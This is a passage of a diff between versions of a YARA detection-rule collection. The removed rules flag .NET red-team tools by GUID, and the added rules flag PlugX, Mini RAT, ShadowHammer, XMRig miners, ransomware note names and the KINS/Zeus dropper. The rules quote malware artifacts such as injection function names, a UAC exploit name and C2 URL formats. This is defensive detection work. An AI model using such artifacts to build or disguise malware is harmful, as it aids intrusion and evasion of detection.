-		reference = "https://github.com/cube0x0/LdapSignCheck"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5100-L5114"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c075fabcd39cecc2c5b5d706a1ac305bb75522b9d7f8c8cba11ca2d80da814a0"
-		score = 75
+		description = "Detects a malware sysdll.exe from the Rocket Kitten APT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bac55c00-5d14-59ca-8597-f52b4577be0c"
+		date = "2014-12-27"
+		modified = "2023-01-06"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_coreimpact_agent.yar#L6-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f89a4d4ae5cca6d69a5256c96111e707"
+		logic_hash = "332b68e797e8ee3e26d797e106ae31e7240585ccb0ea599bebd8ac8f94313eab"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "21f398a9-bc35-4bd2-b906-866f21409744" ascii wide
-		$typelibguid0up = "21F398A9-BC35-4BD2-B906-866F21409744" ascii wide
+		$s0 = "d:\\nightly\\sandbox_avg10_vc9_SP1_2011\\source\\avg10\\avg9_all_vs90\\bin\\Rele" ascii
+		$s1 = "Mozilla/5.0" fullword ascii
+		$s3 = "index.php?c=%s&r=%lx" fullword ascii
+		$s4 = "index.php?c=%s&r=%x" fullword ascii
+		$s5 = "127.0.0.1" fullword ascii
+		$s6 = "/info.dat" ascii
+		$s7 = "needroot" fullword ascii
+		$s8 = "./plugins/" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		$s0 or 6 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsccm : FILE
+rule SIGNATURE_BASE_Aptgroupx_Plugxtrojanloader_Stringdecode
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "276269b1-e3b3-5774-a86a-1c3a8bca8209"
-		date = "2023-03-15"
-		modified = "2023-04-06"
-		reference = "https://github.com/Mayyhem/SharpSCCM"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5116-L5132"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ce0d186ceb4212619d76f56b32e06efa78572af0d8abd881432928c1876b968b"
-		score = 75
+		description = "Rule to detect PlugX Malware"
+		author = "Jay DiMartino"
+		id = "c6017327-b44d-5b1d-95aa-6e1f9fbf5583"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://t.co/4xQ8G2mNap"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_plugx.yar#L2-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e5ab15b035bb0169864e687e5c26732dd5b8f5f184473a33e685f53699ce4acc"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		hash1 = "0535e8c300204e257f0fa57630f386e9fcc8e779"
+		hash2 = "088ebf9ccde958f32d11f4e7eb14f5332332f97d"
+		hash3 = "0c999d0bffa007e9e6b6fe593933b52f40c75b3d"
+		hash4 = "2f644e7131ec0a4f12ce04ba1e54d23856dbbfbf"
+		hash5 = "3be9148ad132ca342d5fbabea1119a175ef1df7c"
+		hash6 = "4c1ee94ec0e15491fc4f6b4095f67eee6309e62a"
+		hash7 = "587af7ce05e61d4c312d6bae12ea380116b08d7e"
+		hash8 = "5990efd83b5646a7ba419541d3a2c19260224ca3"
+		hash9 = "67970367c250c44a5feb263843cf45fd91336df5"
+		hash10 = "68f53f7188910a4cf67843aedd38c1523f1f2e7c"
+		hash11 = "962dc7e0ad37286df012f623423ac4182fe791ca"
+		hash12 = "aa0976906807af2e1b127608040aa3ef6e118a13"
+		hash13 = "b170d015e32b39fa4ac15f94d58e45e65cd16d6c"
+		hash14 = "c9b3d2cef3b34c7ee18fc2f60ff022965959613d"
+		hash15 = "cd425ce7f3e4a823d9027780e1b439759c4dc665"
+		hash16 = "d5e82513c6472d3826a22d9a15c05af8c0d33b58"
+		hash17 = "d9b32084f27ef13001060e1dcee8a1a9e95d89a6"
+		hash18 = "daa2d1cb9148b7ba5a86fa9ab593678e77c92672"
+		hash19 = "e2c098a95d1c1f0e29f207af9c5ffc5bd69a92ee"
+		hash20 = "ef8cf68dc3c80e9cb5a3fa0f92b544eab583812e"
+		hash21 = "f0fc0a4e4e0748464caa6a202d0083cd33458677"
+		hash22 = "fe1abe55529c1d6aa6b2a2f02d7e41ea58040feb"
 
 	strings:
-		$typelibguid0lo = "03652836-898e-4a9f-b781-b7d86e750f60" ascii wide
-		$typelibguid0up = "03652836-898E-4A9F-B781-B7D86E750F60" ascii wide
-		$typelibguid1lo = "e4d9ef39-0fce-4573-978b-abf8df6aec23" ascii wide
-		$typelibguid1up = "E4D9EF39-0FCE-4573-978B-ABF8DF6AEC23" ascii wide
+		$byte1 = { 8A [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
+		$byte2 = { 8B [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Koh : FILE
+rule SIGNATURE_BASE_SUSP_RANSOMWARE_Indicator_Jul20 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9702526c-b10d-553d-a803-47e352533858"
-		date = "2023-03-18"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/Koh"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5134-L5148"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b9cf1abdf4320a08f9c134e55a8f8531ef965785461b8f49687214810a143929"
-		score = 75
+		description = "Detects ransomware indicator"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6036fdfd-8474-5d79-ac75-137ac2efdc77"
+		date = "2020-07-28"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_generic.yar#L2-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3dd1b29f45afba16d58619416e0d420acd38fb8ae1fc846035229a27b9e5c9d9"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
+		hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
+		hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
 
 	strings:
-		$typelibguid0lo = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii wide
-		$typelibguid0up = "4D5350C8-7F8C-47CF-8CDE-C752018AF17E" ascii wide
+		$ = "Decrypt.txt" ascii wide
+		$ = "DecryptFiles.txt" ascii wide
+		$ = "Decrypt-Files.txt" ascii wide
+		$ = "DecryptFilesHere.txt" ascii wide
+		$ = "DECRYPT.txt" ascii wide
+		$ = "DecryptFiles.txt" ascii wide
+		$ = "DECRYPT-FILES.txt" ascii wide
+		$ = "DecryptFilesHere.txt" ascii wide
+		$ = "DECRYPT_INSTRUCTION.TXT" ascii wide
+		$ = "FILES ENCRYPTED.txt" ascii wide
+		$ = "DECRYPT MY FILES" ascii wide
+		$ = "DECRYPT-MY-FILES" ascii wide
+		$ = "DECRYPT_MY_FILES" ascii wide
+		$ = "DECRYPT YOUR FILES" ascii wide
+		$ = "DECRYPT-YOUR-FILES" ascii wide
+		$ = "DECRYPT_YOUR_FILES" ascii wide
+		$ = "DECRYPT FILES.txt" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <1400KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Forgecert : FILE
+rule SIGNATURE_BASE_Minirat_Gen_1 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "06b3ffbb-5a76-50a0-86dc-b9658bf2d7ec"
-		date = "2023-03-18"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/ForgeCert"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5150-L5164"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6fecf2a1ce947de3978b4e10b1b02f35913a37551884f16eabd1d1d544d963b6"
+		description = "Detects Mini RAT malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "65d89762-2fd0-5c6a-b706-92d77a03089a"
+		date = "2018-01-22"
+		modified = "2023-12-05"
+		reference = "https://www.eff.org/deeplinks/2018/01/dark-caracal-good-news-and-bad-news"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_darkcaracal.yar#L12-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "53c4ba16ae2c3eb3a6c7371e7fc8b962cfbee5b70abd8267294834eac3e55769"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b"
+		hash2 = "b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d"
+		hash3 = "ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2"
+		hash4 = "ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790"
+		hash5 = "675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd"
 
 	strings:
-		$typelibguid0lo = "bd346689-8ee6-40b3-858b-4ed94f08d40a" ascii wide
-		$typelibguid0up = "BD346689-8EE6-40B3-858B-4ED94F08D40A" ascii wide
+		$x1 = "\\Mini rat\\" ascii
+		$x2 = "\\Projects\\ali\\Clever Components v7\\" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <7000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Crassus : FILE
+rule SIGNATURE_BASE_MAL_APT_Operation_Shadowhammer_Malsetup : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d4f94aa3-0431-5ac1-8718-0f0526c3714f"
-		date = "2023-03-18"
-		modified = "2023-04-06"
-		reference = "https://github.com/vu-ls/Crassus"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5166-L5180"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "27c2c67aed20f3d1ec2ef0393342e21a41590cc05c0361309054e0dc699d7cc9"
-		score = 75
+		description = "Detects a malicious file used by BARIUM group in Operation ShadowHammer"
+		author = "Florian Roth (Nextron Systems)"
+		id = "000f840a-848d-5f82-84bf-70690efbd4de"
+		date = "2019-03-25"
+		modified = "2023-12-05"
+		reference = "https://securelist.com/operation-shadowhammer/89992/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_shadowhammer.yar#L2-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dea31e401997b0aed1753754fd572a94df308229fccdf15ae6a907dcfd59b50a"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ac0711afee5a157d084251f3443a40965fc63c57955e3a241df866cfc7315223"
+		hash2 = "9acd43af36f2d38077258cb2ace42d6737b43be499367e90037f4605318325f8"
+		hash3 = "bca9583263f92c55ba191140668d8299ef6b760a1e940bddb0a7580ce68fef82"
+		hash4 = "c299b6dd210ab5779f3abd9d10544f9cae31cd5c6afc92c0fc16c8f43def7596"
+		hash5 = "6aedfef62e7a8ab7b8ab3ff57708a55afa1a2a6765f86d581bc99c738a68fc74"
+		hash6 = "cfbec77180bd67cceb2e17e64f8a8beec5e8875f47c41936b67a60093e07fcfd"
 
 	strings:
-		$typelibguid0lo = "7e9729aa-4cf2-4d0a-8183-7fb7ce7a5b1a" ascii wide
-		$typelibguid0up = "7E9729AA-4CF2-4D0A-8183-7FB7CE7A5B1A" ascii wide
+		$x1 = "\\AsusShellCode\\Release" ascii
+		$x2 = "\\AsusShellCode\\Debug"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Restrictedadmin : FILE
+rule SIGNATURE_BASE_XMRIG_Monero_Miner : HIGHVOL FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1b3572a5-bb21-58bb-91f9-963a0a17d699"
-		date = "2023-03-18"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/RestrictedAdmin"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5182-L5196"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fc8fe9df771fb794a2ea44d68741003451747a7eb10156a9ed486f87a2d42c6d"
+		description = "Detects Monero mining software"
+		author = "Florian Roth (Nextron Systems)"
+		id = "71bf1b9c-c806-5737-83a9-d6013872b11d"
+		date = "2018-01-04"
+		modified = "2022-11-10"
+		reference = "https://github.com/xmrig/xmrig/releases"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pua_xmrig_monero_miner.yar#L11-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "532e602dfc8e44326e381d0e2a189b60bc4d4f2b310169767b2326e01606a542"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "HIGHVOL, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5c13a274adb9590249546495446bb6be5f2a08f9dcd2fc8a2049d9dc471135c0"
+		hash2 = "08b55f9b7dafc53dfc43f7f70cdd7048d231767745b76dc4474370fb323d7ae7"
+		hash3 = "f3f2703a7959183b010d808521b531559650f6f347a5830e47f8e3831b10bad5"
+		hash4 = "0972ea3a41655968f063c91a6dbd31788b20e64ff272b27961d12c681e40b2d2"
 
 	strings:
-		$typelibguid0lo = "79f11fc0-abff-4e1f-b07c-5d65653d8952" ascii wide
-		$typelibguid0up = "79F11FC0-ABFF-4E1F-B07C-5D65653D8952" ascii wide
+		$s1 = "'h' hashrate, 'p' pause, 'r' resume" fullword ascii
+		$s2 = "--cpu-affinity" ascii
+		$s3 = "set process affinity to CPU core(s), mask 0x3 for cores 0 and 1" ascii
+		$s4 = "password for mining server" fullword ascii
+		$s5 = "XMRig/%s libuv/%s%s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and filesize <10MB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_P2P : FILE
+rule SIGNATURE_BASE_XMRIG_Monero_Miner_Config : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid (p2p Remote Desktop is dual use but 100% flagged as malicious on VT)"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e7b2b4bd-f1e1-5062-9b36-5df44ae374ea"
-		date = "2023-03-19"
-		modified = "2023-04-06"
-		reference = "https://github.com/miroslavpejic85/p2p"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5198-L5212"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fcdeb2f481232ba0d13642b3003a94435c4de4e90c342c0db7707a6751a66834"
+		description = "Auto-generated rule - from files config.json, config.json"
+		author = "Florian Roth (Nextron Systems)"
+		id = "374efe7f-9ef2-5974-8e24-f749183ab2d0"
+		date = "2018-01-04"
+		modified = "2023-12-05"
+		reference = "https://github.com/xmrig/xmrig/releases"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pua_xmrig_monero_miner.yar#L35-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5df14af366cdb0a5bf6fd88b50876fd78abfe0b795cf10af8fab0d23a54f700f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "031333d44a3a917f9654d7e7257e00c9d961ada3bee707de94b7c7d06234909a"
+		hash2 = "409b6ec82c3bdac724dae702e20cb7f80ca1e79efa4ff91212960525af016c41"
 
 	strings:
-		$typelibguid0lo = "33456e72-f8e8-4384-88c4-700867df12e2" ascii wide
-		$typelibguid0up = "33456E72-F8E8-4384-88C4-700867DF12E2" ascii wide
+		$s2 = "\"cpu-affinity\": null,   // set process affinity to CPU core(s), mask \"0x3\" for cores 0 and 1" fullword ascii
+		$s5 = "\"nicehash\": false                  // enable nicehash/xmrig-proxy support" fullword ascii
+		$s8 = "\"algo\": \"cryptonight\",  // cryptonight (default) or cryptonight-lite" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x0a7b or uint16(0)==0x0d7b) and filesize <5KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwsus : FILE
+rule SIGNATURE_BASE_PUA_LNX_XMRIG_Cryptominer : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f020eea9-4ff4-5242-b9b2-53284505dab4"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/nettitude/SharpWSUS"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5214-L5228"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1511bb29b808146852555c7bc23cbdc9a4a2d70547fb1541790d1947a42d6089"
+		description = "Detects XMRIG CryptoMiner software"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bbdeff2e-68cc-5bbe-b843-3cba9c8c7ea8"
+		date = "2018-06-28"
+		modified = "2023-01-06"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pua_xmrig_monero_miner.yar#L53-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "501bc5b2d38882f48d1ef972dbbd379afb89f2e7c9bf69192c7bee2e19384816"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "10a72f9882fc0ca141e39277222a8d33aab7f7a4b524c109506a407cd10d738c"
 
 	strings:
-		$typelibguid0lo = "42cabb74-1199-40f1-9354-6294bba8d3a4" ascii wide
-		$typelibguid0up = "42CABB74-1199-40F1-9354-6294BBA8D3A4" ascii wide
+		$x1 = "number of hash blocks to process at a time (don't set or 0 enables automatic selection o" fullword ascii
+		$s2 = "'h' hashrate, 'p' pause, 'r' resume, 'q' shutdown" fullword ascii
+		$s3 = "* THREADS:      %d, %s, aes=%d, hf=%zu, %sdonate=%d%%" fullword ascii
+		$s4 = ".nicehash.com" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x457f and filesize <8000KB and (1 of ($x*) or 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpimpersonation : FILE
+rule SIGNATURE_BASE_SUSP_XMRIG_String : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5815c5bd-e3e8-5f2f-b03e-8a05fb4f6e91"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/S3cur3Th1sSh1t/SharpImpersonation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5230-L5244"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c875b3e499b0fc6aa2833c3be88a4a4b93062e88cc8f1201eaf12e0b10f7cc95"
-		score = 75
+		description = "Detects a suspicious XMRIG crypto miner executable string in filr"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8c6f3e6e-df2a-51b7-81b8-21cd33b3c603"
+		date = "2018-12-28"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/pua_xmrig_monero_miner.yar#L72-L84"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d2c3145c50939e7f407125f7b9312161724b7b1a6fcbf7e27d049e49e982c7e9"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "eb18ae69f1511eeb4ed9d4d7bcdf3391a06768f384e94427f4fc3bd21b383127"
 
 	strings:
-		$typelibguid0lo = "27a85262-8c87-4147-a908-46728ab7fc73" ascii wide
-		$typelibguid0up = "27A85262-8C87-4147-A908-46728AB7FC73" ascii wide
+		$x1 = "xmrig.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcloud : FILE
+rule SIGNATURE_BASE_KINS_Dropper
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "048b0239-ea13-58ff-af35-fd505b4c977a"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/chrismaddalena/SharpCloud"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5246-L5260"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d1ad4088ce5b4216930d74ab7c2bc7b4d700928740faff27ebbb69e79068b14e"
+		description = "Match protocol, process injects and windows exploit present in KINS dropper"
+		author = "AlienVault Labs aortega@alienvault.com"
+		id = "17e12685-aaad-5d83-949c-43d5aef1ef0d"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/arPhm3"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_kins_dropper.yar#L1-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cdab93f823e13e0c3104de8e05cb1572f83fb5294f359698092d73fc7983955b"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "ca4e257e-69c1-45c5-9375-ba7874371892" ascii wide
-		$typelibguid0up = "CA4E257E-69C1-45C5-9375-BA7874371892" ascii wide
+		$n1 = "tid=%d&ta=%s-%x" fullword
+		$n2 = "fid=%d" fullword
+		$n3 = "%[^.].%[^(](%[^)])" fullword
+		$i0 = "%s [%s %d] 77 %s"
+		$i01 = "Global\\%s%x"
+		$i1 = "Inject::InjectProcessByName()"
+		$i2 = "Inject::CopyImageToProcess()"
+		$i3 = "Inject::InjectProcess()"
+		$i4 = "Inject::InjectImageToProcess()"
+		$i5 = "Drop::InjectStartThread()"
+		$uac1 = "ExploitMS10_092"
+		$uac2 = "\\globalroot\\systemroot\\system32\\tasks\\" ascii wide
+		$uac3 = "<RunLevel>HighestAvailable</RunLevel>" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpssdp : FILE
+rule SIGNATURE_BASE_KINS_DLL_Zeus
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8441e940-ab7c-5467-9db8-35f71bd57580"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/rvrsh3ll/SharpSSDP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5262-L5276"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bb30d6b35db2b8144d284f25051f231ce6684f6a1213dc24ba2da0d5e4d4603"
+		description = "Match default bot in KINS leaked dropper, Zeus"
+		author = "AlienVault Labs aortega@alienvault.com"
+		id = "968ada06-c8a1-5053-95de-10aa484231cb"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/arPhm3"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_kins_dropper.yar#L28-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bd1ebe7976d1f93856b4f8d1d62d8fff68ce6234204da9fbdc233ddbef56864d"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "6e383de4-de89-4247-a41a-79db1dc03aaa" ascii wide
-		$typelibguid0up = "6E383DE4-DE89-4247-A41A-79DB1DC03AAA" ascii wide
+		$n1 = "%BOTID%" fullword
+		$n2 = "%opensocks%" fullword
+		$n3 = "%openvnc%" fullword
+		$n4 = /Global\\(s|v)_ev/ fullword
+		$s1 = "\x72\x6E\x6D\x2C\x36\x7D\x76\x77"
